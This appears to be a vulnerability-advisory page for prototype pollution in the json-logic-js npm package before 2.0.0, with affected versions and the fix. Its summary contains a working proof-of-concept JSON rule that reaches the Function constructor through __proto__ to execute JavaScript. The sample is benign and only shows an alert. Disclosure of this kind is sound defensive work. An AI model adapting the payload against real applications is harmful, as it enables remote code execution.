Prototype Pollution in json-logic-js
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution. The following rule creates a popup when run from a browser: ``` { "method": [ { "method": [ { "var": "__proto__.constructor.is.__proto__" }, "constructor", [ "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)" ] ] }, "call" ] } ```
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | json-logic-js (npm) | before 2.0.0 | 2.0.0 | Patch available | GHSA-m9hw-7xfv-wqg7 |
- json-logic-js (npm) Vendor— Affected before 2.0.0 Fixed in 2.0.0 Patch available GHSA-m9hw-7xfv-wqg7
Remediation
- Fix · GHSA-m9hw-7xfv-wqg7 json-logic-js (npm) Fixed in 2.0.0 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-m9hw-7xfv-wqg7
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences